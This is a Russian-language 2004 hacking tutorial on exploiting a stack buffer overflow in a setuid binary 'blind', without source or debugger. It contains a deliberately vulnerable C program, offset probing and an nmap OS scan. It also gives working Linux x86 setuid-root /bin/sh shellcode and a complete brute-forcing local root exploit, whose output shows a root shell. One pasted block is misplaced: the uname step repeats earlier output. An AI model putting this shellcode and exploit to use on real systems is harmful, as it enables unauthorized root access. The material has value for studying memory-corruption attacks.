19.08.2004

Эксплуатация уязвимостей вслепую, часть 1.

На данный момент существует очень много статей и учебников, освещающих принципы эксплуатации таких уязвимостей, как переполнение буфера, кучи, целочисленных переменных, а также атак формат-строки. В этой статье я не собираюсь заново рассказывать давно заученные истины, а хочу осветить такую тему, как использование уязвимостей в программе при отсутствии достаточного количества информации о ней.
8395 просмотров за 1 неделю

hr0nix [IndefiniteDecision]

На данный момент существует очень много статей и учебников, освещающих принципы эксплуатации таких уязвимостей, как переполнение буфера, кучи, целочисленных переменных, а также атак формат-строки. В этой статье я не собираюсь заново рассказывать давно заученные истины, а хочу осветить такую тему, как использование уязвимостей в программе при отсутствии достаточного количества информации о ней.

ВНИМАНИЕ!

Для того, чтобы понять и осмыслить весь нижеследующий материал, необходимы базовые знания Си, ассемблера, принципов работы таких структур, как стек (stack) и куча(heap), а также базовых принципов реализации системных атак. Для ознакомления с подобным материалом рекомендую прочитать Modern Kinds of System attacks (ищите на void.ru).

Итак, содержание:

  1. Понятие «эксплуатации вслепую».
  2. Переполняем стек.

2.1 Изучение стека.

2.2 Поиск адреса возврата.

2.3 Подготовка шеллкода.

  1. Собираем эксплойт воедино.

1. Понятие «эксплуатации вслепую».

Как обычно мы препарируем программу? Откроем исходник любимым редактором, посмотрим, в чем же проблема, запомним размер буфера. Теперь возьмем в руки дебаггер, посчитаем адрес возврата. А дальше только offset осталось подобрать для нужной системы…

Теперь представим, что мы попали в жесткие условия. Скажем, у нас ограниченный шелл на удаленной системе. На ней есть непонятный suid-ный бинарник. Все, что мы знаем о нем – у бинарника летит сегментация, если первый аргумент чересчур длинный. Тут-то и пригодится умение использовать дыру в бинарнике, не зная о нем ровным счетом ничего.

Кстати, это вполне реальная ситуация, и взлом, совершенный подобным образом, можно считать профессиональным, а не очередным творчеством зеленого скрипт-киддиса.

2. Переполняем стек.

Для начала, давайте сделаем себе уязвимую программку, над которой мы, собственно, и будем проводить все наши злобные эксперименты. Сперва я хотел привести в качестве примера захаканый вусмерть /sbin/ifenslave, но, поскольку под рукой не оказалось mandrake linux, я решил написать подобную программку сам.

Итак, вот наше творение. Просто и коротко, как и все гениальное.

  [root@id: ~/work/exploits/4development/src]# cat vuln.c
#include <stdio.h>
#define BUFSIZE 13

int main(int argc, char *argv[])
{

    char buf[BUFSIZE];

    if (argc != 2)
    {
        fprintf(stderr,"Usage %s <garbage>\n",argv[0]);
        return(1);
    }

    strcpy(buf,argv[1]);
    printf("Buffer is %s\n",buf);

    return(0);
}
[root@id: ~/work/exploits/4development/src]# cat vuln.c
#include <stdio.h>
#define BUFSIZE 13

int main(int argc, char *argv[])
{

    char buf[BUFSIZE];

    if (argc != 2)
    {
        fprintf(stderr,"Usage %s <garbage>\n",argv[0]);
        return(1);
    }

    strcpy(buf,argv[1]);
    printf("Buffer is %s\n",buf);

    return(0);
}
  

Компилим:

[root@id: ~/work/exploits/4development/src]# gcc -o vuln vuln.c

Сделаем бинарник suid-ным (чтобы было, к чему стремиться. В нашем случае это рут-шелл):

  [root@id: ~/work/exploits/4development/src]# chmod +s ./vuln
[root@id: ~/work/exploits/4development/src]# ls -l vuln
-rwsr-sr-x    1 root     root         5157 Авг 15 17:16 vuln
[root@id: ~/work/exploits/4development/src]#

  

Запускаем:

[root@id: ~/work/exploits/4development/src]# ./vuln
Usage ./vuln <garbage>
[root@id: ~/work/exploits/4development/src]# ./vuln 123
Buffer is 123
[root@id: ~/work/exploits/4development/src]#

Вроде работает. Чтобы не искушать себя просмотром исходников, сделаем так:

 [root@id: ~/work/exploits/4development/src]# rm -f ./vuln.c
[root@id: ~/work/exploits/4development/src]#
 

Теперь нам действительно придется работать вслепую (если Вы, конечно, не собираетесь подглядывать в начало статьи =).

Так, теперь представим, что мы связаны правами аккаунта по рукам и ногам. Кстати, не мешало бы проверить, действительно ли программа уязвима:

  [root@id: ~/work/exploits/4development/src]# su nobody
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x48'`
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/src]$
  

Все, с этого момента вообразим себя злобным хакером, атакующим сервер. Мы нашли suid-ный бинарник, в нем есть бага. К сожалению, на сервере отключен дамп памяти (core dumped), так что дополнительной инфы нам о программе не получить. Обидно, но что делать.

Давайте вспомним, что нам нужно знать для того, чтобы успешно эксплуатировать переполнение стека:

  1. Структура стека программы. Нужно знать, сколько байт отделяет начало буфера от eip, чтобы не промахнуться, когда кладем адрес возврата.
  2. Важно знать сам адрес возврата. Впрочем, тут много вариантов, обсудим их ниже.
  3. И, наконец, важно правильно выбрать шеллкод, в зависимости от того, какой результат мы хотим получить на выходе. Обсудим это в соответствующем разделе.

2.1 Изучаем стек.

Вообще-то, весь стек нам изучать совершенно необязательно. Достаточно лишь посчитать количество байт от начала буфера до адреса возврата. Нам нужно обнаружить ситуацию, когда размер вводимых данных N не дает SIGSEGV, а N+1 – дает. Это будет означать, что мы зацепили что-то важное (скорее всего, регистры).

Проще всего найти необходимый размер при помощи некоторого подобия бинарного поиска. Т.е. пробуем величину K. Если она не дает переполнения, пробуем некоторую величину K+B. Если новая величина приводит к нарушению функционирования программы, пробуем величину (K+K+B) / 2. И наоборот. Думаю, сами разберетесь.

При желании, этот процесс можно автоматизировать при помощи скрипта. Пусть это будет вам небольшим упражнением для разминки. Итак, вот результат:

 [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x25'`
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x15'`
Buffer is AAAAAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x20'`
Buffer is AAAAAAAAAAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x19'`
Buffer is AAAAAAAAAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/src]$
 

Мы видим, что 20 букв «А» нарушают функционирование программы, а 19 – нет. Значит 20-я буква «A» уже попала куда-то в регистры. Тут и пригодится знание структуры стека атакуемой ОС (читайте исходники и доки). В моем случае (Debian Linux) подобная реакция программы означает, что адрес возврата нужно класть в 21-24 байты буфера. Итак, часть информации мы выяснили.

2.2 Поиск адреса возврата.

Существует несколько способов узнать адрес возврата. Первый (и самый простой) – воспользоваться отладчиком (если он, конечно, есть на уязвимой системе). Но мы не ищем легких путей.

Другой способ – положить шеллкод как переменную окружения. Программа в ОС Linux имеет следующую структуру стека:

0xbfffffff – верхушка

далее пять байт 0x0

имя запускаемого файла (“./vuln” в нашем случае)

а дальше набор переменных окружения программы.

Если наши права нам это позволяют, то это – лучший подход. К примеру, мы подготовим наш шеллкод в буфере EGG, который позже будет использоваться как переменная окружения (т.е буфер имеет вид «EGG=»). Тогда адрес нашего шеллкода-переменной окружения в памяти будет 0xbfffffff – 5 – strlen(“./vuln”) - strlen(EGG). И нам не приходится ни подбирать адрес, ни узнавать его с помощью отладчика.

И, наконец, самый трудоемкий (в плане того, что может занят много времени), но в тоже время самый результативный (ошибиться невозможно) метод – перебор адреса возврата. Этот метод можно реализовать как внешним скриптом, так и программой. Программно проще всего в отдельном потоке порождать запуск уязвимой программы с очередным ret-адресом, после чего проверять, как завершился поток. Если с SIGSEGV или SIGILL – значит мы промахнулись, если с 0 - все в порядке. Перебирать лучше от верхушки стека (0xbfffffff) вниз, мы ведь точно не знаем, где в стеке притаился наш шеллкод. Единственное, что может помешать этому методу – ограничение на число порожденных процессов.

Есть еще одна довольно большая проблема у первых двух – если на подопытной системе запрещено исполнение кода в стеке – ничего не выйдет.

Тогда есть еще один выход – если под рукой есть objdump, можно узнать адрес функции system() в программе и передать управление на нее. Тут и исполнимый стек не нужен, вот только objdump есть под рукой далеко не всегда…

2.3 Подготовка шеллкода.

Не менее важный этап, чем все остальные. Прежде всего, необходимо выбрать, где и как будет лежать наш шеллкод. Предположим, мы по каким-то причинам не хотим (или не можем) класть его в переменную окружения. Тогда, очевидно, остается только положить наш шеллкод в стек вместе с адресом возврата. Поскольку наш уязвимый буфер очень мал, положим шеллкод после ret-адреса, предварительно добавив к нему в начала сотню-другую nop-ов (чтобы легче было попасть).

Еще один немаловажный момент – выбор необходимого шеллкода. Для успешной эксплуатации нам обязательно нужно знать тип удаленной системы (в статье предполагается, что речь идет об *nix-системах), т.к. необходимые нам байтовые конструкции будут немного отличаться в разных ОС.

Самый простой способ узнать удаленную систему – выполнить команду uname:

  [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x25'`
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x15'`
Buffer is AAAAAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x20'`
Buffer is AAAAAAAAAAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x19'`
Buffer is AAAAAAAAAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/src]$
  

Однако вместо столь обильной информации есть шанс получить лаконичное permission denied. В таком случае, если под рукой есть рут-аккаунт на каком-нибудь боксе, и подопытная машина доступна через сеть с этого бокса, то можно применить nmap-подобный сканнер для опроса сетевого стека удаленной системы:

 [root@id: ~/work/exploits/4development/src]# nmap -sS -O 192.168.0.40

Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-08-17 07:47 UTC
Interesting ports on 192.168.0.40:
(The 1657 ports scanned but not shown below are in state: closed)
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
139/tcp open  netbios-ssn
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux 2.4.0 - 2.5.20
Uptime 0.055 days (since Tue Aug 17 06:28:48 2004)

Nmap run completed -- 1 IP address (1 host up) scanned in 7.319 seconds
[root@id: ~/work/exploits/4development/src]#
 

Итак, мы видим: OS details: Linux 2.4.0 - 2.5.20, а значит нам нужен шеллкод для линукса.

Т.к. мы пытаемся получить рут-шелл через suid-ный бинарник, наш шеллкод должен делать seteuid(0) и exec(“/bin/sh”). Небольшой нюанс: если система запущена с измененным корнем, необходимо еще вызвать в нашем коде chroot(“/”).

Вот шеллкод, который удовлетворяет всем этим требованиям (кроме последнего, т.к. оно нас попросту не интересует):

 char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
 

Итак, вся необходимая информация известна, можно приступать к заключительной части.

3. Собираем эксплойт воедино.

Итак, вот что у нас получилось:

RET-адрес нужно класть в байты буфера 21-24.

Адрес возврата лучше всего подобрать, начиная с верхушки стека.

Шеллкод – seteuid + exec для linux/x86

Сам шеллкод исходя из размеров буфера лучше положить после адреса возврата.

Вот конечный эксплойт (часть кода позаимствована у m00):

 [nobody@id: /root/work/exploits/4development/src]$ cat vuln_expl.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

#define RET      0xbfffffff
#define NOP      0x90
#define BUFFSIZE 200

const char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char **argv)
{
  int x = 0, status, i;
  signed int offset = 20;
  char buffer[BUFFSIZE];
  long retaddr;
  pid_t pid;
  retaddr=RET-offset;

  printf("\n[+] hr0nix[ID] \"./vuln\" local root exploit\n\n");
  while(x <= 0xffff)
  {
      printf("[~] Trying offset %d, addr 0x%x\n",offset, retaddr);
       if((pid=fork())==0)
         {
               // Это дочерний процесс

               memset(buffer,0,BUFFSIZE);       // Очищаем буфер

               memset(buffer,'A',20); 		    // Заполняем мусором первые 20 байт

               *(long *) &buffer[20] = retaddr; // Кладем ret-адрес

               for (i=0; i < BUFFSIZE - 24 - strlen(shellcode); i++) {
                      buffer[i + 24] = NOP;    //добавляем NOP'ов
                 }

               for (i=0; i < strlen(shellcode); i++) {
                   buffer[i + BUFFSIZE - strlen(shellcode)] = shellcode[i]; 
					//посимвольно добавляем шеллкод
                 }
                  // запускаем уязвимую программу
                 execl("./vuln","vuln",buffer,NULL);
                }

                // А родительский процесс ждет статус завершения своего потомка
                wait(&status);
                // Мы попали куда хотели?
                if(WIFEXITED(status) != 0 ) {
                        printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr);
                        exit(1);
                } else {
                        // Увы, еще нет...
                        retaddr-=offset;
                        x+=offset;
                }
        }
}
[nobody@id: /root/work/exploits/4development/src]$
 

Компилируем на каком-нибудь боксе с такой-же ОСью (тут-то у нас компилера нету) и запускаем:

  [nobody@id: /root/work/exploits/4development/src]$ ./vuln_expl

[+] hr0nix[ID] "./vuln" local root exploit

[~] Trying offset 20, addr 0xbfffffeb
Buffer is …

…PASSED…

[~] Trying offset 20, addr 0xbffffe83
Buffer is …
sh-2.05a# id
uid=65534(nobody) gid=65534(nogroup) euid=0(root) egid=0(root) groups=65534(nogroup)
sh-2.05a# exit
exit
[+] Retaddr guessed: 0xbffffe83
[~] Exiting...
[nobody@id: /root/work/exploits/4development/src]$

Вот, в общем-то, и все о переполнениях буфера вслепую. Во второй части статьи я попробую рассказать о таких вещах, как переполнение кучи без достаточного количества информации о программе и об использовании уязвимостей формат-строки для изучения структуры стека уязвимой программы.

На этом все.

Greetz to #darkwired (mostly to dodo), IndefiniteDecision (sdx, t0ga), Axistown team (virusman, LazyRanma).

или введите имя

CAPTCHA